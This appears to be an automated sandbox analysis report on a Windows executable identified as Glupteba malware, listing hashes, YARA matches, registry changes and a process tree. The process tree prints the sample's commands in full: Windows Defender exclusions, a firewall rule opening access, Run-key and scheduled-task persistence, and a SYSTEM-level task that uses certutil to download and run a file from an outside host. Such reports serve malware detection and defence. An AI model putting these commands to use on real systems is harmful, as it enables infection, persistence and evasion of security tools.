Analysis
-
max time kernel
117s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
20-05-2022 04:43
Static task
static1
Behavioral task
behavioral1
Sample
aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe
Resource
win7-20220414-en
General
-
Target
aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe
-
Size
3.8MB
-
MD5
75b7ef1e1078db669732ed9c778539d1
-
SHA1
62b185a7bc12c6e92085ab5acd8dd98f7b829970
-
SHA256
aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0
-
SHA512
76c0abde2882f01801bdd4dd6bec17919e688f587ec28cd75bf1ba92735d5b3ba96194f0239973a427866b1bf745abc8253335f31b1369ebbfc3c84156289cb9
Malware Config
Signatures
-
Glupteba Payload 4 IoCs
Processes:
resource yara_rule behavioral1/memory/960-56-0x0000000002A20000-0x0000000003116000-memory.dmp family_glupteba behavioral1/memory/960-57-0x0000000000400000-0x0000000000D2B000-memory.dmp family_glupteba behavioral1/memory/1228-67-0x0000000000400000-0x0000000000D2B000-memory.dmp family_glupteba behavioral1/memory/1372-70-0x0000000000400000-0x0000000000D2B000-memory.dmp family_glupteba -
Executes dropped EXE 1 IoCs
Processes:
csrss.exepid process 1372 csrss.exe -
Modifies Windows Firewall 1 TTPs
-
Loads dropped DLL 2 IoCs
Processes:
aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exepid process 1228 aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe 1228 aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe -
Processes:
aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe = "0" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\d26671056783 = "0" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\LingeringCherry = "0" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\d26671056783.exe = "0" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Windows\CurrentVersion\Run\LingeringCherry = "\"C:\\Windows\\rss\\csrss.exe\"" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops file in Windows directory 3 IoCs
Processes:
makecab.exeaa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exedescription ioc process File created C:\Windows\Logs\CBS\CbsPersist_20220520073043.cab makecab.exe File opened for modification C:\Windows\rss aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe File created C:\Windows\rss\csrss.exe aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 64 IoCs
Processes:
netsh.exeaa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exeaa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exepid process 960 aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe 1228 aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exedescription pid process Token: SeDebugPrivilege 960 aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe Token: SeImpersonatePrivilege 960 aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.execmd.exedescription pid process target process PID 1228 wrote to memory of 1672 1228 aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe cmd.exe PID 1228 wrote to memory of 1672 1228 aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe cmd.exe PID 1228 wrote to memory of 1672 1228 aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe cmd.exe PID 1228 wrote to memory of 1672 1228 aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe cmd.exe PID 1672 wrote to memory of 1472 1672 cmd.exe netsh.exe PID 1672 wrote to memory of 1472 1672 cmd.exe netsh.exe PID 1672 wrote to memory of 1472 1672 cmd.exe netsh.exe PID 1228 wrote to memory of 1372 1228 aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe csrss.exe PID 1228 wrote to memory of 1372 1228 aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe csrss.exe PID 1228 wrote to memory of 1372 1228 aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe csrss.exe PID 1228 wrote to memory of 1372 1228 aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe csrss.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe"C:\Users\Admin\AppData\Local\Temp\aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe"C:\Users\Admin\AppData\Local\Temp\aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0.exe"2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\d26671056783\d26671056783.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\d26671056783\d26671056783.exe" enable=yes4⤵
- Modifies data under HKEY_USERS
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220520073043.log C:\Windows\Logs\CBS\CbsPersist_20220520073043.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Windows\rss\csrss.exeFilesize
3.8MB
MD575b7ef1e1078db669732ed9c778539d1
SHA162b185a7bc12c6e92085ab5acd8dd98f7b829970
SHA256aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0
SHA51276c0abde2882f01801bdd4dd6bec17919e688f587ec28cd75bf1ba92735d5b3ba96194f0239973a427866b1bf745abc8253335f31b1369ebbfc3c84156289cb9
-
\Windows\rss\csrss.exeFilesize
3.8MB
MD575b7ef1e1078db669732ed9c778539d1
SHA162b185a7bc12c6e92085ab5acd8dd98f7b829970
SHA256aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0
SHA51276c0abde2882f01801bdd4dd6bec17919e688f587ec28cd75bf1ba92735d5b3ba96194f0239973a427866b1bf745abc8253335f31b1369ebbfc3c84156289cb9
-
\Windows\rss\csrss.exeFilesize
3.8MB
MD575b7ef1e1078db669732ed9c778539d1
SHA162b185a7bc12c6e92085ab5acd8dd98f7b829970
SHA256aa6d45515e85826488438d5257ccadc54bc2adad51c28b34a74bf6f82e7957e0
SHA51276c0abde2882f01801bdd4dd6bec17919e688f587ec28cd75bf1ba92735d5b3ba96194f0239973a427866b1bf745abc8253335f31b1369ebbfc3c84156289cb9
-
memory/960-55-0x0000000002670000-0x0000000002A17000-memory.dmpFilesize
3.7MB
-
memory/960-56-0x0000000002A20000-0x0000000003116000-memory.dmpFilesize
7.0MB
-
memory/960-57-0x0000000000400000-0x0000000000D2B000-memory.dmpFilesize
9.2MB
-
memory/960-54-0x0000000002670000-0x0000000002A17000-memory.dmpFilesize
3.7MB
-
memory/1228-58-0x0000000002710000-0x0000000002AB7000-memory.dmpFilesize
3.7MB
-
memory/1228-62-0x0000000002710000-0x0000000002AB7000-memory.dmpFilesize
3.7MB
-
memory/1228-67-0x0000000000400000-0x0000000000D2B000-memory.dmpFilesize
9.2MB
-
memory/1372-65-0x0000000000000000-mapping.dmp
-
memory/1372-68-0x00000000027A0000-0x0000000002B47000-memory.dmpFilesize
3.7MB
-
memory/1372-69-0x00000000027A0000-0x0000000002B47000-memory.dmpFilesize
